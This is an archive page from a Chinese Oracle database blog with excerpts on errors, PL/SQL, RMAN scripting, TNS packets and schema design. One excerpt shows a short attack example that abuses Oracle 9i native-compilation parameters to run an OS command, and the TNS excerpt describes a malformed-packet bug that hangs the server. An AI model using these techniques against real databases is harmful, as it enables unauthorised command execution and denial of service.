Maclean’s Oracle Database Tech Blog Archives

  • ORA-00600 [3756]内部错误一例

    一套Linux上的10.2.0.4系统出现3756内部错误: Wed Sep 2 23:56:51 2009 ORA-00600: internal error code, arguments: [3756], [1], [2], [2149767406], [2], [2149796313], [], [] ORA-600 signalled during: ALTER DATABASE OPEN… /* 详细的trace文件内容 */ Successfully allocated 2 recovery slaves Using 550 overflow buffers per recovery slave Thread 1 checkpoint: logseq 139, block 125089, scn 10739730905 cache-low rba: logseq 139, block 125185…

  • 在PL/SQL中获取操作系统环境变量

    Oracle 10g引入了 DBMS_SYSTEM包中的一个过程GET_ENV。这个过程获得一个环境变量名称并返回环境变量的值。但是它不会返回环境变量PATH的值: set serveroutput on; create or replace PROCEDURE dump_osenvs as buffer varchar2(300); begin sys.dbms_system.get_env(‘ORACLE_HOME’, buffer); dbms_output.put_line(‘ORACLE_HOME: ‘|| buffer); sys.dbms_system.get_env(‘ORACLE_SID’,buffer); dbms_output.put_line(‘ORACLE_SID: ‘|| buffer); sys.dbms_system.get_env(‘COMPUTERNAME’,buffer); dbms_output.put_line(‘COMPUTERNAME: ‘|| buffer); sys.dbms_system.get_env(‘OS’,buffer); dbms_output.put_line(‘OS: ‘|| buffer); sys.dbms_system.get_env(‘TEMP’,buffer); dbms_output.put_line(‘TEMP: ‘|| buffer); sys.dbms_system.get_env(‘WINDIR’,buffer); dbms_output.put_line(‘WINDIR: ‘|| buffer); sys.dbms_system.get_env(‘SYSTEMROOT’,buffer); dbms_output.put_line(‘SYSTEMROOT: ‘|| buffer); sys.dbms_system.get_env(‘PROGRAMFILES’,buffer); dbms_output.put_line(‘PROGRAMFILES: ‘|| buffer); sys.dbms_system.get_env(‘COMSPEC’,buffer); dbms_output.put_line(‘COMSPEC: ‘|| buffer); sys.dbms_system.get_env(‘PROCESSOR_ARCHITECTURE’,buffer); dbms_output.put_line(‘PROCESSOR_ARCHITECTURE: ‘||…

  • 利用SQL DEVELOPER导入EXCEL数据到Oracle数据库中

    日常工作中往往涉及到数据导入工作,平时办公中excel应用十分广泛,导入工作我们一般都是将excel内容复制到文本文件中然后利用sqlldr工具导入。较新版本的Sql Developer提供了直接excel导入到表的功能,下面我们来尝试一下: 需要导入的excel的数据如下: 在Oracle数据库中建立实验所需要的表: 其中t1为主键; 点中创建好的表右键选择导入数据,选择需要导入的excel文件(目前仅支持xls格式不支持xlsx格式): 若表格中有列名,则钩上”标题?”选项: 单击下一步,选择需要的列: 选择完成后单击下一步,将源数据列与目标表列一一对应: 单击下一步,选择导入前验证导入参数,出现以下条目: 验证表名 SUCCESS 验证源列是否映射了目标列 SUCCESS 验证源列是否定义了数据类型 SUCCESS 验证列的大小字段 SUCCESS 针对列大小检查数据 SUCCESS 验证日期列是否具有日期格式 SUCCESS 验证是否支持这些数据类型的导入 SUCCESS 单击完成,消息窗口出现导入日志: 注意到这一步为止仍没有commit,需要到相关窗口点下commit按钮: 目前Sql Developer中的excel导入功能已经较为完善,在版本1.5.5之前普遍存在next按钮无反应的bug。 转载请注明源地址: www.askmac.cn

  • Oracle 审计参数AUDIT_SYSLOG_LEVEL介绍

    文档中描述的审计参数AUDIT_SYSLOG_LEVEL比较模糊,仅有几处提及,且其实际功能要较文档描述的更强大。

  • Oracle TNS协议中数据包的内部结构

    在线路上看到的包绝大多数是数据包(类型6)。对数据包而言,TNS包头后面的一个字(WORD)用来存储数据标志位(data flag)。如果这个包是一个断开连接包,那么这个字(WORD)被设为0x0040–否则,一般设为0x0000。 注意: 所有的Oracle版本中都存在一个故障(bug):在服务器处理一个数据包(类型6)的时候,该数据包的数据标志位的第2个比特已被设置,但第1个(最不重要的)比特没有被设置(例如,数字2,6,10,14等)。如果服务器受到这样的包,它就会花费点所有可利用的CPU处理时间,以一个死循环而告终。很明显,这对服务器性能会产生消极的影响。 数据标志位后面的一个字节(第11个字节)决定了数据包里的内容: 0x01表示协议商议。这里,客户机降可以接受的协议版本发送给服务器–他们是6,5,4,3,2,1和0.服务器回复一个通用的版本(例如,6或5),不过它还会发送一些额外的信息,如它使用的字符集,这个集合共有多少个字符,版本字符串和服务器标志。 0x02表示交换数据类型表示法。 0x03表示一次双任务接口(Two-Task Interface,TTI)函数调用。下面的表列出了一些函数: 0x02   Open 0x03   Query 0x04  Execute oxo5   Fetch oxo8   Close 0x09   Disconnect/logoff oxoc   Autocommit on oxod   Autocommit off oxoe  commit oxof  rollback ox14  Cancel 0x2B  Describe 0x30 Startup 0x31  Shutdown 0x3b   version ox43  K2 Transactions 0x47   Query 0x4A   OSQL7 ox5c    OKOD ox5e   Query ox60   LOB operations…

  • Building a RAC Test Environment on VMWare For Free

    •VMWare Orientation •Importance of prerequisite checking •Configuring node #1 •Cloning (VM) node #1 •Installing Clusterware •Installing ASM and Database •Creating Database •Common Challenges and Issues VMWare Orientation •Desktop Products –VMWare Workstation: “Full” product, $ –VMWare Player: Free, no creation, just use •Server Products –VMWare Infrastructure (ESX Server): $$$, robust, clustering capable, OS replacement –VMWare VirtualCenter:…

  • 使用ALTER SYSTEM运行OS命令

    这里举出一个攻击代码例子,你也许会觉得惊奇,抑或认为这是一个运行命令的好办法,是的它很“有用”。 在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然,可以利用这一点来运行OS命令: SQL> alter system set plsql_native_make_utility=’cmd.exe /C dir >C:\oops.txt &’; SQL> alter system set plsql_native_make_file_name=’ foo’; SQL> alter system set plsql_native_library_dir=’bee’; 系统已更改。 create or replace PROCEDURE wcg IS BEGIN NULL; END; / show errors 在Oracle编译wcg过程的时候,Oracle会执行下面的代码: cmd.exe /C dir > C:\oops.txt -& -f foo bee/RUN_CMD__SYSTEM__0.DLL Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。

  • 数据库味道

    Fowler在他的著作中引入了“代码味道”的概念,它是代码中的一类常见问题,表明需要进行重构。常见的代码味道包括switch语句,长方法,重复代码,特性羡慕等。有一些常见的数据库味道,表明可能需要进行重构。这些味道包括: 多用途的列。如果一个列被用于多种用途,就有可能存在额外的代码来确保源数据以“正确的方式”使用,这些代码常常会检查一个列或更多其他列的值。一个例子是:一个列用于存储某人的生日,如果此人是顾客的话。但如果此人是公司雇员,这个列就用于存储此人进公司的日期。更糟糕的是,你可能在目前能支持的功能上受到限制–例如,如何存放雇员的生日? 多用途的表。类似地,如果一个表被用于存放几种类型的实体,就可能存在设计缺陷。例如,一个通用的Customer表中存放人和公司的信息。这种方式的问题在于,人和公司的数据结构式不一样的,人有名有姓,而公司只有一个法定名称。一个通用的Customer表中可能包含一些列,对某些类型的客户来说这些列为空,而对另一些类型的客户来说这些列不为空。 重复的数据。重复的数据对操作型(operational)数据库来说是个严重的问题,因为数据存放在几个地方,不一致的机会就增加了。例如,常常会发现顾客信息被存放在组织机构中的许多不同地方。实际上,许多公司不能集中得到一份准确的清单,说明谁是他们的客户。问题在于,一个表中的John Smith住在Main大街123号,而一个表中的John Smith住在Elm大街456号,在这个例子中,实际上只有一个人,以前住在Main大街123号,去年搬到Elm大街456号。不幸的是,John没有向贵公司提交两份地址变更表格,你的每个一直到他的应用都需要进行地址变更。 列太多的表。当一个表包含太多的列时,说明这个表缺乏内聚– 它试图存放自己类试题的数据。也许你的Customer表包含了一些列,存放了3个不同的地址(发货地址,账单地址,季节性地址)或几个电话号码(家庭电话,工作电话,移动电话等等)。你可能需要将这种结构进行标准化处理,假如Address和PhoneNumber表 行太多的表。大的表往往有性能问题。例如,在一个几百万行的表中查找时很花时间的。你可能需要对该表进行垂直分割,将一些列移到另一个表中,或者进行水平分割,将一些行移到另一个表中。这两种策略都会减小表的规模,可能改善性能。 “智能”列。智能列是这样一种列。其中数据的不同位置代表不同的概念。例如,如果客户ID的前4位代表客户的开户行(home branch),那么客户ID就是一个智能列,因为你会解析它以取得更细粒度的信息。另一个例子是使用一个文本列来保存XML数据结构;很清楚,你需要解析XML数据结构获得粒度更小的数据字段。智能列常常需要重新组织构成它的一些数据字段,这样数据库就将它们作为单独的元素进行处理。 害怕变化。如果你害怕改动你的数据库Schema,因为你担心会破坏什么东西–例如,50个访问该数据库的应用–那么这就是一个很明确的信号,你需要重构schema。害怕变化本身就很好地说明了你在冒很严重的技术风险,这种情况会随时间的推移而变得更糟。 重要的一点是要理解,仅仅因为存在某种味道,并不表明它坏了–limburger干酪即使在最好的状态下也有味道。但是,如果牛奶闻起来味道不对,你就知道它坏了。如果存在某味道,就观察它,思考它,如果重构有意义就进行重构。

  • 使用Oracle RMAN脚本

    为什么要使用脚本? 为什么要使用RMAN命令脚本呢? 这里有2个主要原因: 绝大多数RMAN操作都是批量的同时也是自动化的。举例来说,备份数据库是一个反反复复的操作而非每次执行都要费一番功夫写命令。 脚本提供了一致性。在临时性的抑或者说一次性的操作,譬如从备份中恢复数据库,一般都不适用自动化。但是,操作本身是相同的,无论DBA在何种环境下。 在Oracle11g中有两种脚本形式 使用命令文件: 即文件系统上的一个文本文件,也叫平面文件。 使用存储的脚本,该脚本存储在Oracle恢复目录中,由RMAN命令行调用。 命令文件形式 Oracle 命令文件是一种文本解释文件类似于UNIX下的SHELL脚本和Windows中的批处理作业BAT文件。代码演示1中展示了一个非常简单的例子,用以备份USERS表空间。其中扩展名.rman是非必要的,但有助于帮您理清文件用途。 代码演示1:备份USERS表空间的脚本 connect target / connect catalog rman/secretpass@rmancat run { allocate channel c1 type disk format ‘/orabak/%U’; backup tablespace users; } 你可以通过多种方式调用脚本,例如自RMAN提示行中: RMAN> @backup_ts_users.rman 注意调用使用的符号@。 您也可以在SHELL中调用脚本,例如: rman @backup_ts_users.rman 这种方式十分有用,若不想使用@符号,用以下方式替代: rman cmdfile=backup_ts_users.rman 注意CONNECT子句是放在backup_ts_users.rman命令文件中的,故再次无需提供用户名与密码,也保障了没有泄露密码的危险。 传递参数: backup_ts_users.rman命令文件运行地不错,但他太固定了。他将备份输出到某个特定目录且只备份一个表空间(USERS)。若你想要备份到另一处或其他表空间是,你需要创建新的脚本。 一个较好的策略是使用参数驱动的RMAN脚本。比起硬编码来,参数传递脚本灵活得多。代码演示2中展示了修改了的backup_ts_users .rman脚本。 代码演示2: 参数驱动脚本 connect target / connect catalog rman/secretpass@rmancat…

  • oracle express介绍

    Oracle express 不是一种新型火车也不是一种新型的邮递服务。Oracle express是个多维的数据库和应用程序环境,这个应用程序环境是用来构建OLAP应用程序的。Express的组件(或者OLAP选项)是维(多维部分中的一部分)和变量。维是在Express数据库中分解出的逻辑单元。维是数据库的核心单元,它更像数据仓库表格的数维或者逻辑表达式的限制子句。product=TevaSandals,gender=male或者date_of_birth介于某个日期范围都是这样的字句示例。 变量是在Express数据库中包含数据的对象。这些变量不比用维描述的值(类似数据仓库的值,它的典型值是数字)的数组更重要。把这个数组的概念扩展一下,就可以把它看做表。把销售的变量看做维,可能就是Product ,Sales_District和Sales_dt_time。3个成为维的变量经常被称作数据立方体。 对Express数据库来说,具有多个变量,每个变量又是多维的情况并不常见(类似事件的一些维数通常是多个变量,而某些维对于变量是唯一的)。 Express数据库中的数据以这种多维方式存储,而不是典型的数据库结构,甚至以关系对象结构存储,因为这样会使用户处理回答他们业务问题的信息更快。因为业务经常需要以这种方式切片和切块数据,这就是他是OLAP数据库的原因。这种方式与那些在一般数据库中支持的方式是不同的。 Express有两个为支持无限制用户数而设计的功能。Express服务器为更大的应用程序而设计,它是个多维的数据储存器。Express服务器经常与已存在的数据仓库一起使用,或者作为一个功能全面的数据仓库的前身。根据需要,Express Server可替代数据仓库。Personal Express 是单用户的Express Server ,它由对数据做OLAP分析的个人使用,这样就不需要花费更大的代价和时间去执行一个功能全面的组织数据仓库。 还有很多这样的工具,他们作为Express服务器数据库产品的附加工具。Express Analyzer 是用来生成报告和分析Express服务器的工具。Express Objects 是支持开发Express数据库应用程序的OO工具。也可使用Express Web Publisher发布目录到Web上供别人查看。Express Spreadsheet是为Microsoft Excel和Express Sever数据库之间的接口提供的插件。